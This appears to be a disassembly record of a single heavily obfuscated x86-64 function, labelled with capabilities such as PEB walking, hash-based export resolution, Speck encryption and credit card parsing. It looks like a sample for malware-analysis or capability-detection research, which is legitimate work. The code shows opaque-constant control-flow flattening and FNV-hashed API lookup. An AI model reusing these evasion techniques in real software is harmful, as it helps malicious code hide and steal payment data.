Function at 0x1400c1acb
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Encrypt data using speck
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x222533db
pushf
not eax
add eax, 0xf2a8f140
xor eax, 0x8036359c
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xc87722db
xor eax, 0x80b49d2e
rol eax, 0x7d
popf
cmp eax, 0x59
jne 0x1400c1b08
popf
pop rax
jmp 0x1400c5f47
cmp eax, 0x48
jne 0x1400c1b17
popf
pop rax
jmp 0x1400c559d
cmp eax, 0x3f
jne 0x1400c1b26
popf
pop rax
jmp 0x1400c4c32
cmp eax, 1
jne 0x1400c1b35
popf
pop rax
jmp 0x1400c211d
cmp eax, 0x4a
jne 0x1400c1b44
popf
pop rax
jmp 0x1400c56c3
cmp eax, 0x1a
jne 0x1400c1b53
popf
pop rax
jmp 0x1400c3313
cmp eax, 0x44
jne 0x1400c1b62
popf
pop rax
jmp 0x1400c4fde
cmp eax, 0x58
jne 0x1400c1b71
popf
pop rax
jmp 0x1400c5f0d
cmp eax, 0x40
jne 0x1400c1b80
popf
pop rax
jmp 0x1400c4cab
cmp eax, 8
jne 0x1400c1b8f
popf
pop rax
jmp 0x1400c26c5
cmp eax, 0x2a
jne 0x1400c1b9e
popf
pop rax
jmp 0x1400c3d52
cmp eax, 0x17
jne 0x1400c1bad
popf
pop rax
jmp 0x1400c2ff1
cmp eax, 0x1c
jne 0x1400c1bbc
popf
pop rax
jmp 0x1400c3409
cmp eax, 0x2e
jne 0x1400c1bcb
popf
pop rax
jmp 0x1400c4204
cmp eax, 0x4c
jne 0x1400c1bda
popf
pop rax
jmp 0x1400c5822
cmp eax, 0x2b
jne 0x1400c1be9
popf
pop rax
jmp 0x1400c3e16
cmp eax, 0x1b
jne 0x1400c1bf8
popf
pop rax
jmp 0x1400c3364
cmp eax, 0x2d
jne 0x1400c1c07
popf
pop rax
jmp 0x1400c409c
cmp eax, 0x23
jne 0x1400c1c16
popf
pop rax
jmp 0x1400c38c1
cmp eax, 0x25
jne 0x1400c1c25
popf
pop rax
jmp 0x1400c3a19
cmp eax, 0x43
jne 0x1400c1c34
popf
pop rax
jmp 0x1400c4ee8
cmp eax, 0x13
jne 0x1400c1c43
popf
pop rax
jmp 0x1400c2db4
cmp eax, 0x33
jne 0x1400c1c52
popf
pop rax
jmp 0x1400c4620
cmp eax, 0x24
jne 0x1400c1c61
popf
pop rax
jmp 0x1400c394a
cmp eax, 0x1e
jne 0x1400c1c70
popf
pop rax
jmp 0x1400c3702
cmp eax, 0xc
jne 0x1400c1c7f
popf
pop rax
jmp 0x1400c28e3
cmp eax, 0x26
jne 0x1400c1c8e
popf
pop rax
jmp 0x1400c3a64
cmp eax, 0x27
jne 0x1400c1c9d
popf
pop rax
jmp 0x1400c3b35
cmp eax, 0x30
jne 0x1400c1cac
popf
pop rax
jmp 0x1400c4282
cmp eax, 0x10
jne 0x1400c1cbb
popf
pop rax
jmp 0x1400c2c5f
cmp eax, 0x37
jne 0x1400c1cca
popf
pop rax
jmp 0x1400c47a1
cmp eax, 9
jne 0x1400c1cd9
popf
pop rax
jmp 0x1400c272e
cmp eax, 0x39
jne 0x1400c1ce8
popf
pop rax
jmp 0x1400c48b7
cmp eax, 0x16
jne 0x1400c1cf7
popf
pop rax
jmp 0x1400c2f8c
cmp eax, 0x3b
jne 0x1400c1d06
popf
pop rax
jmp 0x1400c49be
cmp eax, 0x4b
jne 0x1400c1d15
popf
pop rax
jmp 0x1400c5797
cmp eax, 0x36
jne 0x1400c1d24
popf
pop rax
jmp 0x1400c473c
cmp eax, 0x14
jne 0x1400c1d33
popf
pop rax
jmp 0x1400c2e5d
cmp eax, 0x46
jne 0x1400c1d42
popf
pop rax
jmp 0x1400c5110
cmp eax, 0x3d
jne 0x1400c1d51
popf
pop rax
jmp 0x1400c4b07
cmp eax, 2
jne 0x1400c1d60
popf
pop rax
jmp 0x1400c217d
cmp eax, 0x47
jne 0x1400c1d6f
popf
pop rax
jmp 0x1400c5539
cmp eax, 0x51
jne 0x1400c1d7e
popf
pop rax
jmp 0x1400c5af8
cmp eax, 0x11
jne 0x1400c1d8d
popf
pop rax
jmp 0x1400c2cc4
cmp eax, 0x35
jne 0x1400c1d9c
popf
pop rax
jmp 0x1400c46cf
cmp eax, 0x3a
jne 0x1400c1dab
popf
pop rax
jmp 0x1400c4973
cmp eax, 0x12
jne 0x1400c1dba
popf
pop rax
jmp 0x1400c2d2b
cmp eax, 0x21
jne 0x1400c1dc9
popf
pop rax
jmp 0x1400c382e
cmp eax, 0x38
jne 0x1400c1dd8
popf
pop rax
jmp 0x1400c4808
cmp eax, 0xb
jne 0x1400c1de7
popf
pop rax
jmp 0x1400c2824
cmp eax, 0xf
jne 0x1400c1df6
popf
pop rax
jmp 0x1400c2c05
cmp eax, 0x15
jne 0x1400c1e05
popf
pop rax
jmp 0x1400c2e95
cmp eax, 5
jne 0x1400c1e14
popf
pop rax
jmp 0x1400c231a
cmp eax, 6
jne 0x1400c1e23
popf
pop rax
jmp 0x1400c23b1
cmp eax, 0x5a
jne 0x1400c1e32
popf
pop rax
jmp 0x1400c6031
cmp eax, 0x49
jne 0x1400c1e41
popf
pop rax
jmp 0x1400c5600
cmp eax, 0x1f
jne 0x1400c1e50
popf
pop rax
jmp 0x1400c3758
cmp eax, 4
jne 0x1400c1e5f
popf
pop rax
jmp 0x1400c2282
cmp eax, 0x2f
jne 0x1400c1e6e
popf
pop rax
jmp 0x1400c4244
cmp eax, 0x4d
jne 0x1400c1e7d
popf
pop rax
jmp 0x1400c58a6
cmp eax, 0x55
jne 0x1400c1e8c
popf
pop rax
jmp 0x1400c5dae
cmp eax, 0x45
jne 0x1400c1e9b
popf
pop rax
jmp 0x1400c508a
cmp eax, 0x2c
jne 0x1400c1eaa
popf
pop rax
jmp 0x1400c3fad
cmp eax, 3
jne 0x1400c1eb9
popf
pop rax
jmp 0x1400c2222
cmp eax, 0x19
jne 0x1400c1ec8
popf
pop rax
jmp 0x1400c32aa
cmp eax, 0x1d
jne 0x1400c1ed7
popf
pop rax
jmp 0x1400c34c8
cmp eax, 0x34
jne 0x1400c1ee6
popf
pop rax
jmp 0x1400c4663
cmp eax, 0x53
jne 0x1400c1ef5
popf
pop rax
jmp 0x1400c5c90
cmp eax, 0x4f
jne 0x1400c1f04
popf
pop rax
jmp 0x1400c59ac
cmp eax, 0x42
jne 0x1400c1f13
popf
pop rax
jmp 0x1400c4e9d
cmp eax, 7
jne 0x1400c1f22
popf
pop rax
jmp 0x1400c255d
cmp eax, 0x20
jne 0x1400c1f31
popf
pop rax
jmp 0x1400c37ea
cmp eax, 0x56
jne 0x1400c1f40
popf
pop rax
jmp 0x1400c5e7c
cmp eax, 0x3c
jne 0x1400c1f4f
popf
pop rax
jmp 0x1400c4ab5
cmp eax, 0xd
jne 0x1400c1f5e
popf
pop rax
jmp 0x1400c2b30
cmp eax, 0xa
jne 0x1400c1f6d
popf
pop rax
jmp 0x1400c276c
cmp eax, 0x18
jne 0x1400c1f7c
popf
pop rax
jmp 0x1400c3109
cmp eax, 0x28
jne 0x1400c1f8b
popf
pop rax
jmp 0x1400c3b9a
cmp eax, 0x22
jne 0x1400c1f9a
popf
pop rax
jmp 0x1400c386d
cmp eax, 0x50
jne 0x1400c1fa9
popf
pop rax
jmp 0x1400c5a0a
cmp eax, 0x52
jne 0x1400c1fb8
popf
pop rax
jmp 0x1400c5bd2
cmp eax, 0x41
jne 0x1400c1fc7
popf
pop rax
jmp 0x1400c4d33
cmp eax, 0xe
jne 0x1400c1fd6
popf
pop rax
jmp 0x1400c2b86
cmp eax, 0x32
jne 0x1400c1fe5
popf
pop rax
jmp 0x1400c43f9
cmp eax, 0x29
jne 0x1400c1ff4
popf
pop rax
jmp 0x1400c3ce3
cmp eax, 0x3e
jne 0x1400c2003
popf
pop rax
jmp 0x1400c4be6
cmp eax, 0
jne 0x1400c2012
popf
pop rax
jmp 0x1400c204e
cmp eax, 0x4e
jne 0x1400c2021
popf
pop rax
jmp 0x1400c5956
cmp eax, 0x31
jne 0x1400c2030
popf
pop rax
jmp 0x1400c4327
cmp eax, 0x54
jne 0x1400c203f
popf
pop rax
jmp 0x1400c5d61
cmp eax, 0x57
jne 0x1400c204e
popf
pop rax
jmp 0x1400c5edc
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x3c8
call fcn.1400af979
mov rcx, qword [rsp + 0x3f0]
call fcn.14012b007
mov dword [rsp + 0x64], eax
mov ecx, dword [rsp + 0x64]
call fcn.14012ab33
cmp dword [rsp + 0x64], 0
jne 0x1400c20c4
push rax
pushf
mov eax, 0xfe24108e
pushf
not eax
add eax, 0x8d6e28aa
xor eax, 0xef57397e
rol eax, 0x65
popf
pushf
not eax
add eax, 0x8c17fbd0
xor eax, 0x8873cf27
rol eax, 0xde
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x6d21acd0
pushf
not eax
add eax, 0xc47a2ef8
xor eax, 0x92c0fc39
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xc447f1e9
xor eax, 0xfff81331
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x871f2a82
xor eax, 0xff95ee93
rol eax, 0x25
popf
pushf
not eax
add eax, 0xa7c4468d
xor eax, 0xbecee9e7
rol eax, 0x7b
popf
jmp 0x1400c1af9
xor al, al
jmp 0x1400c6031
mov ecx, dword [rsp + 0x64]
call fcn.1401272a6
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
jne 0x1400c21dc
push rax
pushf
mov eax, 0x249e7a05
pushf
not eax
add eax, 0xf67d9818
xor eax, 0xeb6102fa
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x96c02a53
xor eax, 0xa97e5462
rol eax, 0x47
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xdf1ec7c4
pushf
not eax
add eax, 0x8294adca
xor eax, 0x88ed2fa9
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xa1b79007
xor eax, 0xa7f1a3ae
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xbd49a259
xor eax, 0xe7f5a081
rol eax, 0x6c
popf
jmp 0x1400c1af9
xor al, al
jmp 0x1400c6031
movzx eax, byte [rsp + 0x3f8]
test eax, eax
je 0x1400c22e7
push rax
pushf
mov eax, 0x7299998a
pushf
not eax
add eax, 0xd3009cab
xor eax, 0xa957262c
rol eax, 0x86
popf
pushf
not eax
add eax, 0xe1c38d81
xor eax, 0xb9c2191b
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x93e64481
xor eax, 0xf253a995
rol eax, 0x70
popf
pushf
not eax
add eax, 0x9144918f
xor eax, 0xde158195
rol eax, 0xce
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x3beaf863
pushf
not eax
add eax, 0xebf446ec
xor eax, 0x96f5bbba
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xc740f32c
xor eax, 0xcd568ed8
rol eax, 0xc0
popf
jmp 0x1400c1af9
mov edx, 0x91a9f676
pushf
not edx
add edx, 0xe043c3bd
xor edx, 0xe748af84
rol edx, 0x9e
popf
pushf
not edx
add edx, 0x87aace8c
xor edx, 0xb8bf765e
rol edx, 0xd9
popf
pushf
not edx
add edx, 0xf6ce0d88
xor edx, 0xec027380
rol edx, 0xb5
popf
mov rcx, qword [rsp + 0x228]
call fcn.14010178f
push rax
pushf
mov eax, 0x50126122
pushf
not eax
add eax, 0xfee0aad3
xor eax, 0x96421d31
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xd4d534af
xor eax, 0xe1d8bac6
rol eax, 0x62
popf
pushf
not eax
add eax, 0xe77ccab9
xor eax, 0xf13b5c0b
rol eax, 0xd9
popf
jmp 0x1400c1af9
mov rcx, qword [rsp + 0x88]
call fcn.1400ce8db
mov qword [rsp + 0x78], rax
call fcn.14012d618
mov eax, dword [0x140040214]
mov dword [rsp + 0x130], eax
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0x5da53090
pushf
not ecx
add ecx, 0x9c7935ca
xor ecx, 0xb094eed3
rol ecx, 0x89
popf
pushf
not ecx
add ecx, 0xf27764ea
xor ecx, 0xc7667c79
rol ecx, 0x31
popf
pushf
not ecx
add ecx, 0x8d972505
xor ecx, 0xd31c8691
rol ecx, 0xeb
popf
pushf
not ecx
add ecx, 0x863ebd90
xor ecx, 0xfca2b1e6
rol ecx, 0x55
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x398]
lea rcx, [0x1814b4c70]
pushf
sub rcx, 0x41482e10
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xce59201b
pushf
not ecx
add ecx, 0xd1af381d
xor ecx, 0xf43ad744
rol ecx, 0x47
popf
pushf
not ecx
add ecx, 0xd366dabf
xor ecx, 0xb000b29f
rol ecx, 0xcf
popf
pushf
not ecx
add ecx, 0x971d1a61
xor ecx, 0xd46ee1e1
rol ecx, 0x98
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x398]
call fcn.1400ad711
mov qword [rsp + 0x230], rax
mov edx, dword [rsp + 0x130]
mov rcx, qword [rsp + 0x230]
call fcn.1400fd54a
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x178], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x238], rax
mov rax, qword [rsp + 0x238]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x240]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x170], rax
push rax
pushf
mov eax, 0x3d62a570
pushf
not eax
add eax, 0xb4543fee
xor eax, 0xd78bbc1a
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xf45aaa8e
xor eax, 0xb74ed95d
rol eax, 0xc0
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x170]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0xc0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xc0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x250], rax
mov eax, 0xeca384bc
pushf
not eax
add eax, 0xdb5589b7
xor eax, 0xb8d76dc1
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x94f8bb40
xor eax, 0xe7d150f3
rol eax, 0xdc
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x250]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x1c8], rax
mov eax, dword [rsp + 0x1c8]
mov rcx, qword [rsp + 0xc0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x108], rax
mov eax, dword [rsp + 0x1cc]
mov dword [rsp + 0x110], eax
mov rax, qword [rsp + 0x100]
cmp qword [rsp + 0x108], rax
je 0x1400c267f
push rax
pushf
mov eax, 0x63d7943f
pushf
not eax
add eax, 0xf6b1fb3d
xor eax, 0xc7885ef8
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xfadad48e
xor eax, 0xd56ea4cb
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xb322bd86
xor eax, 0xd6e884f6
rol eax, 0x42
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xa9f296b5
pushf
not eax
add eax, 0xb10fbfd1
xor eax, 0xab9247fd
rol eax, 0x27
popf
pushf
not eax
add eax, 0xcfa4e9df
xor eax, 0xe0bb739d
rol eax, 0x53
popf
pushf
not eax
add eax, 0x99f0e979
xor eax, 0xf145aecc
rol eax, 0xc1
popf
jmp 0x1400c1af9
mov dword [rsp + 0xa4], 1
jmp 0x1400c276c
mov dword [rsp + 0xa4], 0
push rax
pushf
mov eax, 0xaad21c81
pushf
not eax
add eax, 0xb3502005
xor eax, 0xcd7ebcce
rol eax, 0x58
popf
pushf
not eax
add eax, 0xe587d182
xor eax, 0x97c2dac2
rol eax, 0xf8
popf
jmp 0x1400c1af9
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x33], al
movzx eax, byte [rsp + 0x33]
test eax, eax
je 0x1400c27de
push rax
pushf
mov eax, 0x97cf1833
pushf
not eax
add eax, 0x8a8dac89
xor eax, 0x9c9eacda
rol eax, 0xc
popf
pushf
not eax
add eax, 0xc59a296e
xor eax, 0xc47b8e91
rol eax, 0x51
popf
pushf
not eax
add eax, 0xda4c5da9
xor eax, 0xeb7c97a9
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xe5f261af
xor eax, 0xc13ffdf0
rol eax, 0x83
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x81a83322
pushf
not eax
add eax, 0xdbd6798d
xor eax, 0x9256cc15
rol eax, 0x49
popf
pushf
not eax
add eax, 0xa61e92b9
xor eax, 0xc53bc33a
rol eax, 0xef
popf
pushf
not eax
add eax, 0xce0094ce
xor eax, 0xa5a35cb4
rol eax, 0x6e
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x134], eax
mov eax, dword [rsp + 0x3c]
jmp 0x1400c2843
dec eax
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x134], 0
je 0x1400c28b0
push rax
pushf
mov eax, 0xd0129aaf
pushf
not eax
add eax, 0xa2791faa
xor eax, 0xb41325d7
rol eax, 0x41
popf
pushf
not eax
add eax, 0x8a3cb44b
xor eax, 0x91f0a8f4
rol eax, 9
popf
pushf
not eax
add eax, 0xd2e72f0f
xor eax, 0x993ccca1
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xdbcd36af
xor eax, 0xfb1ce75e
rol eax, 0x44
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x4386834f
pushf
not eax
add eax, 0x88ef6b2c
xor eax, 0xf87dc4ad
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xad2d43b4
xor eax, 0x919dfb0a
rol eax, 0x93
popf
jmp 0x1400c1af9
mov eax, dword [rsp + 0x360]
mov dword [rsp + 0xa8], eax
movabs rax, 0x1eeadf691a513e36
pushf
not rax
add rax, 0x6ffe0c0c
xor rax, 0x5ed34d79
rol rax, 0x47
popf
pushf
not rax
add rax, 0x6001ad2c
xor rax, 0x65dd2b8f
rol rax, 0xdf
popf
shr rax, 0x20
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x388]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x100]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x3c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x1d0], rax
movabs rax, 0x3a8a240eeedbb8d5
pushf
not rax
add rax, 0x4aa5262a
xor rax, 0x4853592e
rol rax, 0xb1
popf
pushf
not rax
add rax, 0x476465e9
xor rax, 0x68b58b14
rol rax, 0x39
popf
pushf
not rax
add rax, 0x480457c2
xor rax, 0x6fc13983
rol rax, 0xd5
popf
mov ecx, 0xd54d2c5e
pushf
not ecx
add ecx, 0xa46e2a84
xor ecx, 0xaa55449e
rol ecx, 0x12
popf
pushf
not ecx
add ecx, 0x95e49c00
xor ecx, 0xe2472dad
rol ecx, 0x7c
popf
pushf
not ecx
add ecx, 0xabb4775c
xor ecx, 0xa543be5c
rol ecx, 0xd7
popf
pushf
not ecx
add ecx, 0xef15e25d
xor ecx, 0x90cb5308
rol ecx, 0x22
popf
and rax, rcx
mov dword [rsp + 0x138], eax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x168], rax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x68], eax
mov rax, qword [rsp + 0x168]
movzx eax, byte [rax]
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x168]
inc rax
mov qword [rsp + 0x168], rax
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
test eax, eax
jne 0x1400c2ad7
push rax
pushf
mov eax, 0xc5ad302e
pushf
not eax
add eax, 0x84ba72be
xor eax, 0xe103bbba
rol eax, 0x45
popf
pushf
not eax
add eax, 0xff37eb59
xor eax, 0x9a0262ca
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xcff653bf
xor eax, 0xa04a923e
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xf864ed84
xor eax, 0xc5e138f2
rol eax, 0xdb
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x5eb3764f
pushf
not eax
add eax, 0xba9b79d3
xor eax, 0xa753ce6c
rol eax, 0xae
popf
pushf
not eax
add eax, 0xf7404c74
xor eax, 0x8ae94b15
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xe34045d6
xor eax, 0xd0be0669
rol eax, 0xae
popf
pushf
not eax
add eax, 0xf32725a0
xor eax, 0xbfb4820d
rol eax, 0x6a
popf
jmp 0x1400c1af9
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x13c], eax
jmp 0x1400c2d2b
xor eax, eax
test eax, eax
je 0x1400c2bbf
push rax
pushf
mov eax, 0x49d9b1a8
pushf
not eax
add eax, 0xdc5069c5
xor eax, 0xb32760ac
rol eax, 0x95
popf
pushf
not eax
add eax, 0xb1a79719
xor eax, 0x9bdb6cdd
rol eax, 0xed
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x698b1334
pushf
not eax
add eax, 0xfa645ee7
xor eax, 0x99654876
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xc56c6670
xor eax, 0x8cf33e7d
rol eax, 0x56
popf
pushf
not eax
add eax, 0xa5b44d99
xor eax, 0xe9295d8f
rol eax, 0x3e
popf
jmp 0x1400c1af9
movsx eax, byte [rsp + 0x30]
or eax, 0x20
mov dword [rsp + 0xac], eax
jmp 0x1400c2cc4
movsx eax, byte [rsp + 0x30]
mov dword [rsp + 0xac], eax
push rax
pushf
mov eax, 0xb86055da
pushf
not eax
add eax, 0x9422d066
xor eax, 0xbc8a3756
rol eax, 0x62
popf
pushf
not eax
add eax, 0x81b67ebc
xor eax, 0xd8ae60c0
rol eax, 0x19
popf
pushf
not eax
add eax, 0xee16d5a3
xor eax, 0xc7a8a3fa
rol eax, 0x90
popf
pushf
not eax
add eax, 0xd144e1b0
xor eax, 0xd49bbb5b
rol eax, 0xbf
popf
jmp 0x1400c1af9
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0x68]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x68], eax
jmp 0x1400c2a4a
mov eax, dword [rsp + 0x138]
cmp dword [rsp + 0x13c], eax
jne 0x1400c2d6e
push rax
pushf
mov eax, 0xa13bb4b2
pushf
not eax
add eax, 0xf39a2d64
xor eax, 0xdd9f7107
rol eax, 0x92
popf
pushf
not eax
add eax, 0xeb3657f9
xor eax, 0xc45c0bf4
rol eax, 0x38
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x59ad61f0
pushf
not eax
add eax, 0xe3fe58e9
xor eax, 0x946b310f
rol eax, 0x51
popf
pushf
not eax
add eax, 0xdf20ed48
xor eax, 0xd8ef3200
rol eax, 0xf
popf
pushf
not eax
add eax, 0x975934bb
xor eax, 0xd5f0e98c
rol eax, 0xfc
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x258], rax
mov eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x258]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x260]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x100]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x178], rax
jmp 0x1400c2ff1
jmp 0x1400c2833
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x270]
mov rax, qword [rax]
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x170], rax
mov byte [rsp + 0x35], 1
movzx eax, byte [rsp + 0x35]
test eax, eax
jne 0x1400c2f33
push rax
pushf
mov eax, 0xa7da6552
pushf
not eax
add eax, 0xa5c3f475
xor eax, 0xb99dceb2
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xa98649b0
xor eax, 0xb82acc0c
rol eax, 0x35
popf
pushf
not eax
add eax, 0x93a60a9f
xor eax, 0x9af34a72
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xd6a72f22
xor eax, 0xc8e4a4b9
rol eax, 0x2e
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0xcb309012
pushf
not eax
add eax, 0xbf4038dc
xor eax, 0x80911db7
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x9a485f3f
xor eax, 0x84de69f4
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xf62fdc3e
xor eax, 0xcf49ef4e
rol eax, 0x72
popf
pushf
not eax
add eax, 0xa22505a8
xor eax, 0xcc4fe889
rol eax, 0xa0
popf
jmp 0x1400c1af9
mov qword [rsp + 0x178], 0
push rax
pushf
mov eax, 0x4d91193c
pushf
not eax
add eax, 0x8ce17f4d
xor eax, 0x8abe6055
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x9711f2dc
xor eax, 0xc9153114
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xa805fd25
xor eax, 0xc130ee3a
rol eax, 0xad
popf
pushf
not eax
add eax, 0xa40c8df3
xor eax, 0x960fa52c
rol eax, 0xab
popf
jmp 0x1400c1af9
mov ecx, 0xe16f56c
pushf
not ecx
add ecx, 0x8f551929
xor ecx, 0x9cbc262a
rol ecx, 0xc7
popf
pushf
not ecx
add ecx, 0xb7b0587b
xor ecx, 0x8bad8d6c
rol ecx, 0x6a
popf
jmp 0x1400c3021
call qword [rsp + 0x178]
mov rax, qword [rsp + 0x218]
add rax, 0x3000
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
call fcn.1400fc014
movzx eax, al
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x88]
call fcn.1400a4d17
movzx eax, al
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x190], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x288]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x188], rax
push rax
pushf
mov eax, 0x96046311
pushf
not eax
add eax, 0xb6e2327b
xor eax, 0x859a14c7
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x8435942f
xor eax, 0xcb11a40f
rol eax, 0x64
popf
pushf
not eax
add eax, 0xa88db3c2
xor eax, 0xcbb0d3cb
rol eax, 0x8d
popf
jmp 0x1400c1af9
mov rax, qword [rsp + 0x188]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xc8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xc8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x298], rax
mov eax, 0x2b4d15de
pushf
not eax
add eax, 0x9e78bf2c
xor eax, 0xb44609cc
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xdb6de488
xor eax, 0xfee6bf01
rol eax, 0x51
popf
pushf
not eax
add eax, 0xd79e8c00
xor eax, 0xa5963692
rol eax, 0x27
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x298]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x1d8], rax
mov eax, dword [rsp + 0x1d8]
mov rcx, qword [rsp + 0xc8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xf0], rax
mov eax, dword [rsp + 0x1dc]
mov dword [rsp + 0xf8], eax
mov rax, qword [rsp + 0xe8]
cmp qword [rsp + 0xf0], rax
je 0x1400c3251
push rax
pushf
mov eax, 0xc83c3233
pushf
not eax
add eax, 0xed62a62b
xor eax, 0xfe7ea5c9
rol eax, 0x33
popf
pushf
not eax
add eax, 0xd6baa986
xor eax, 0xf1e61f51
rol eax, 0x86
popf
pushf
not eax
add eax, 0xba7a4dee
xor eax, 0x9773a88d
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x98741452
xor eax, 0xbe893c8a
rol eax, 0x9f
popf
jmp 0x1400c1af9
push rax
pushf
mov eax, 0x41aef989
pushf
not eax
add eax, 0xe40a0334
xor eax, 0xe5874c53
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xadcca9f8
xor eax, 0xf4c32ad7
rol eax, 0x17
popf
pushf
not eax
add eax, 0xb7230a26
